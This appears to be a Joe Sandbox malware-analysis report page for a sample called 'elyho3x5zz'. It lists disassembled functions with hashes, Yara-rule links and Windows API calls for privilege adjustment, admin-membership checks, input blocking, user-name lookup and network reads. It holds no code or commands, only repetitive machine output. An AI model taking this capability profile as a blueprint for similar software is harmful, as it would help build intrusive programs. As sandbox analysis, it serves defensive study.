Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID:
String ID: DEFINE$x
API String ID: 0-4035502692
Opcode ID: ef8c6a1001600b964e5fbe2637a07538f3dd4599c6cbe193d186c423f91508d7
Instruction ID: dbb3f1dc787aaf67c401c96c48e666663d23214c444bdabeb35e8bb716aea69f
Opcode Fuzzy Hash: ef8c6a1001600b964e5fbe2637a07538f3dd4599c6cbe193d186c423f91508d7
Instruction Fuzzy Hash: E2539172E256518AFB608F25C9406FC37A5FB84B88F518036DE4DAB784DF38E941E742

Function 00007FF629223C20 Relevance: 5.3, APIs: 3, Instructions: 832COMMON

Download Yara Rule

APIs

_Init_thread_footer.LIBCMT ref: 00007FF629224F51

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Init_thread_footer
String ID:
API String ID: 1385522511-0
Opcode ID: 60f9666ca451ed35fe8ab7f9d9e10171ddfa37ac04d0aa9f8a10e9c9a443c8f8
Instruction ID: 5c46b2bc3737be3a093dc7ab00e1bb8575257cdd27ff5a776749a425a24453b1
Opcode Fuzzy Hash: 60f9666ca451ed35fe8ab7f9d9e10171ddfa37ac04d0aa9f8a10e9c9a443c8f8
Instruction Fuzzy Hash: 57827C32E2AA4286FF54CF15EA846B973A4FB94B84F500031DA4D87B95DF3DE851E702

Function 00007FF629230E90 Relevance: 4.9, Strings: 3, Instructions: 1176COMMON

Download Yara Rule

Strings

[, xrefs: 00007FF629230F40
\, xrefs: 00007FF629230F67
, xrefs: 00007FF629276C9D

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID:
String ID: $[$\
API String ID: 0-3681541464
Opcode ID: f7681cbd2ea07fa149fa3418819e144fbe1fe0a990a0ed3c69471eaae0dbb131
Instruction ID: 98b290c4fde325559069d4ca46d7a6013b374922379d978d6c60e2e254fb1021
Opcode Fuzzy Hash: f7681cbd2ea07fa149fa3418819e144fbe1fe0a990a0ed3c69471eaae0dbb131
Instruction Fuzzy Hash: F7B28D32F2A6528AFB248F7589406EC37B5FB84748F514135CA0DABB88DF39E941D742

Function 00007FF629296428 Relevance: 4.6, APIs: 3, Instructions: 116fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF629296464
FindNextFileW.KERNEL32 ref: 00007FF6292964B9
FindClose.KERNEL32 ref: 00007FF6292964FB

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 8095db4ae0d7967ea6bb3d0986d3fec5b3e30099e78eeea076049f78ea6c2b13
Instruction ID: 7c3e24dcd3bb4ff0dae7800ec0ede808c544c5836ec1276eb230d53ef3fa08bc
Opcode Fuzzy Hash: 8095db4ae0d7967ea6bb3d0986d3fec5b3e30099e78eeea076049f78ea6c2b13
Instruction Fuzzy Hash: 42517732629A8281EF24DF25D9842AC77A0FBC4B94F108232CA5D877A5CF3CE594D701

Function 00007FF62927D5CC Relevance: 4.6, APIs: 3, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF629234C68: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF629234C5C

LookupPrivilegeValueW.ADVAPI32 ref: 00007FF62927D630
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF62927D66F
GetLastError.KERNEL32 ref: 00007FF62927D682

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: AdjustConcurrency::cancel_current_taskErrorLastLookupPrivilegePrivilegesTokenValue
String ID:
API String ID: 2278415577-0
Opcode ID: 70c4773b18923e0c28b697d59e2b6e62826da89e857526a178f76e4b759ffcd8
Instruction ID: 6851dbe195b4fd6e7c4495a6493465ba4fe9a751d4df341d738a69bebbcd2105
Opcode Fuzzy Hash: 70c4773b18923e0c28b697d59e2b6e62826da89e857526a178f76e4b759ffcd8
Instruction Fuzzy Hash: 6021D072A19A8185EB00DF26F9402A977A0FB88BC4F448434DF4D87758CF78D555D305

Function 00007FF62927D540 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 00007FF62927D58C
CheckTokenMembership.ADVAPI32 ref: 00007FF62927D5A3
FreeSid.ADVAPI32 ref: 00007FF62927D5B4

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 3eb730c412da6b237fdafb429a025579d281427b312740e7d186e067821098ed
Instruction ID: b970b1e1fa5d4d738374d42871ce1595c51ad7eebd2ac81f621adf4f83232821
Opcode Fuzzy Hash: 3eb730c412da6b237fdafb429a025579d281427b312740e7d186e067821098ed
Instruction Fuzzy Hash: 350140736297818FEB108F20D8557A933A4F75476EF410929E64986A98DF7DC158CB80

Function 00007FF629252F50 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 110COMMON

Download Yara Rule

Strings

., xrefs: 00007FF629253198

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: e1d1fb4f290d3f8f73012e05781d19b6c344ca2143228aded1dc3f30a5d54e4e
Instruction ID: a57f68362088fa85cf55449418a5347576f29603b2501874b8b5bc2accb877a0
Opcode Fuzzy Hash: e1d1fb4f290d3f8f73012e05781d19b6c344ca2143228aded1dc3f30a5d54e4e
Instruction Fuzzy Hash: 5D313A12B2669185FF249E329E046BAB690FB90BE4F449635EE5D87BC8DF3CD4015201

Function 00007FF629272BA0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00007FF629272BA5

Strings

%.3d, xrefs: 00007FF629272BB1

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: LocalTime
String ID: %.3d
API String ID: 481472006-986655627
Opcode ID: 0a1c5bb443c020c262df8418af2e2bd068d9f57d67344cb8eb19a51fac8e6ff3
Instruction ID: 660437dae2a527ce05f6bf49f0f1a9be0098e9beb271dbda9a979a1949f06db9
Opcode Fuzzy Hash: 0a1c5bb443c020c262df8418af2e2bd068d9f57d67344cb8eb19a51fac8e6ff3
Instruction Fuzzy Hash: DAD0E222A3E523D1FE20CF60EE515BDB331BB80754B801031E54E958D8AFA9E508F302

Function 00007FF62929E968 Relevance: 3.1, APIs: 2, Instructions: 97networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET ref: 00007FF62929E99D
InternetReadFile.WININET ref: 00007FF62929E9E6

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: a54c6d4a74e6411871131af3bdbcf589181ad988d0891215d2ce77e29c03cb3f
Instruction ID: 8611a1bbaa67c68a8d8b6186c2f9b56bed1e336cc94b9855f971cde311ce6cf5
Opcode Fuzzy Hash: a54c6d4a74e6411871131af3bdbcf589181ad988d0891215d2ce77e29c03cb3f
Instruction Fuzzy Hash: D7315E32B26A0585FF58DE26DA507B937A1BBC4B98F248435DE0E87B98DF39D4419301

Function 00007FF6292971F4 Relevance: 3.0, APIs: 2, Instructions: 47fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF629297227
FindClose.KERNEL32 ref: 00007FF62929726A

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: c9c219a70f1c370a867d1a9527945e6bdb48ca94d3a7acfc6404a472547bc866
Instruction ID: c9ca98db59d852cc9721d90c4ef161317a5bc3d6e1b08eca5755251a3537ea76
Opcode Fuzzy Hash: c9c219a70f1c370a867d1a9527945e6bdb48ca94d3a7acfc6404a472547bc866
Instruction Fuzzy Hash: 55116732A1978182EF108F26E68436C7760FB88BA0F158631EA6D87B92CF7CD4558741

Function 00007FF62927CCE0 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32 ref: 00007FF62927CD07
CloseHandle.KERNEL32 ref: 00007FF62927CD1F

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 2696843c0c1c48d019296e0beaf727179f08331fefa667d0a626b5bdda81ebd6
Instruction ID: c3ae004ffed8a9cfe2b7f067c746a79a7ebf54776c21ed182e16834d84ecce9e
Opcode Fuzzy Hash: 2696843c0c1c48d019296e0beaf727179f08331fefa667d0a626b5bdda81ebd6
Instruction Fuzzy Hash: 47F0A066A29A4182FF10DF31D9113F82360FBDCF88F200931CE0D8A394CF2CC0869205

Function 00007FF6292495B0 Relevance: 2.9, Strings: 2, Instructions: 378COMMONLIBRARYCODE

Download Yara Rule

Strings

am/pm, xrefs: 00007FF62924986E
a/p, xrefs: 00007FF6292498D9

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID:
String ID: a/p$am/pm
API String ID: 0-3206640213
Opcode ID: 7b3f4c1adbce48e9712f7f101c5ec161db5e41a840f2bf09c06579e081aceba8
Instruction ID: e2bc784a04892ec83b20b543f2aaa4bcab6db55e98ee510b0d5b7f806251562a
Opcode Fuzzy Hash: 7b3f4c1adbce48e9712f7f101c5ec161db5e41a840f2bf09c06579e081aceba8
Instruction Fuzzy Hash: E1E1F72AA2A65285FF648F24CA445BD33A4FF81B80F546131EA1D96784DF3DE950EB02

Function 00007FF62923C3FC Relevance: 2.7, Strings: 2, Instructions: 219COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00007FF62923C5B3
0x%p, xrefs: 00007FF62923C40B

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0$0x%p
API String ID: 3215553584-2479247192
Opcode ID: 2cf1ea9a671600e4e0a2c177b28b5012e25eeeeabff85c4abdd8ee56160d1f52
Instruction ID: cfc41d21e1dae2ff06d921e1271bf3ae3fdb75adcc59890e84b6362dbb1d4e90
Opcode Fuzzy Hash: 2cf1ea9a671600e4e0a2c177b28b5012e25eeeeabff85c4abdd8ee56160d1f52
Instruction Fuzzy Hash: DF81C752A3A24246FE68DE358A406FD3390EFC1B44F543531DD09E7A95CF2DE886A70A

Function 00007FF629220E70 Relevance: 1.9, Strings: 1, Instructions: 680COMMON

Download Yara Rule

Strings

Variable is not of type 'Object'., xrefs: 00007FF62926BA13

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID:
String ID: Variable is not of type 'Object'.
API String ID: 0-1840281001
Opcode ID: 0846f4224996d3c000beb684e8f92ad8a272e358ff67d15cb6cee7ad666ce03d
Instruction ID: 3e3ea4d1638472e567488591e0f80ede3dc78379e4282b9a893e8f2d7679b05e
Opcode Fuzzy Hash: 0846f4224996d3c000beb684e8f92ad8a272e358ff67d15cb6cee7ad666ce03d
Instruction Fuzzy Hash: A1523C32E2E6529AFF10DF60CA406FC37A1AB85788F504135DE0D97A8ADF39E545E342

Function 00007FF62922FA4F Relevance: 1.7, Strings: 1, Instructions: 447COMMON

Download Yara Rule

Strings

no error, xrefs: 00007FF629273953

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID:
String ID: no error
API String ID: 0-1106124726
Opcode ID: daf22cd7e491b1831c7a4d7ece73bd53412841c2595e7b00d29937dbea50e64a
Instruction ID: c28d0d9e838fd010430b2e419372c8e602102052828c5fc31ffc6c7bdedebd0c
Opcode Fuzzy Hash: daf22cd7e491b1831c7a4d7ece73bd53412841c2595e7b00d29937dbea50e64a
Instruction Fuzzy Hash: E5129E72A297918AEB24CF65EA401ED37B0FB88748B104135EE4E9BB94DF38E550E741

Function 00007FF6292A0A00 Relevance: 1.5, APIs: 1, Instructions: 23keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32 ref: 00007FF6292A0A26

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 8cf4d90d24b710f01b8413e09e10ab0a79a0cee39ea01687b76c1a24c8fffcac
Instruction ID: 3674f2f8294e215c918d8016cca698df030cb112abff251f5d9c6049865b4634
Opcode Fuzzy Hash: 8cf4d90d24b710f01b8413e09e10ab0a79a0cee39ea01687b76c1a24c8fffcac
Instruction Fuzzy Hash: BEE06532B2960286FF449F62E940679B290EBDCB84F145034DE1DC3396DF7CD4909702

Function 00007FF629272BCF Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32 ref: 00007FF629272BE4

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 8585f7f64f3c872cdf94fb193dbdc54333e80748829e3d3e151e5918de675c21
Instruction ID: 19702fc8d1626e23ed0bc034d5bd23254bed531955a711695964c4c8376953b7
Opcode Fuzzy Hash: 8585f7f64f3c872cdf94fb193dbdc54333e80748829e3d3e151e5918de675c21
Instruction Fuzzy Hash: 5EC01272A25652D9FB60CF20DC885DC3330FB4031CF800021E60A5E9A89FB8C248D340

Function 00007FF62923C130 Relevance: 1.5, Strings: 1, Instructions: 219COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00007FF62923C2E7

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: e36cd3313365073150127e4babc7a8598c5f16c08797db25288978382bee99ce
Instruction ID: 457fb628d41cfbd8a952b42eec39dd80d0e7bcf2bfc331b1b8adec6c49b2d2c3
Opcode Fuzzy Hash: e36cd3313365073150127e4babc7a8598c5f16c08797db25288978382bee99ce
Instruction Fuzzy Hash: F781F822A3A60246FE64CE768A405FE7390EFC5B44F543531DD09C7695CF2DE886B34A

Function 00007FF62923BEB4 Relevance: 1.4, Strings: 1, Instructions: 199COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00007FF62923C04E

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: 1b448239c859d57582f3fa817e0dbfe1db0dd889c5120d72b994c6c156eeceba
Instruction ID: 607eb85202bea7517e759ec97b84e2df3c2deb12e54e6dc7cdc4f9dc643d9e2c
Opcode Fuzzy Hash: 1b448239c859d57582f3fa817e0dbfe1db0dd889c5120d72b994c6c156eeceba
Instruction Fuzzy Hash: 2471C311E2E68246FE68DE354A402FD73909FC1B44F142539ED49C76D5CF2DE886AB0B

Function 00007FF62924A8A0 Relevance: 1.4, Strings: 1, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

Strings

@, xrefs: 00007FF62924A8DC

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 16c5ff97d355010ed637a1ec5e52f006fc41d4859a4220ae5f264295bc75ec93
Instruction ID: b8c92d18ec631e0d8551c6260093593f7c25addb45b3e5ae45fbcaef9adf1af9
Opcode Fuzzy Hash: 16c5ff97d355010ed637a1ec5e52f006fc41d4859a4220ae5f264295bc75ec93
Instruction Fuzzy Hash: 7541A132726B4485EE44CF2AE9142A973A1B78CFD4B49A036DE0D87754EF3CD445A700

Function 00007FF6292258D0 Relevance: .7, Instructions: 692COMMON

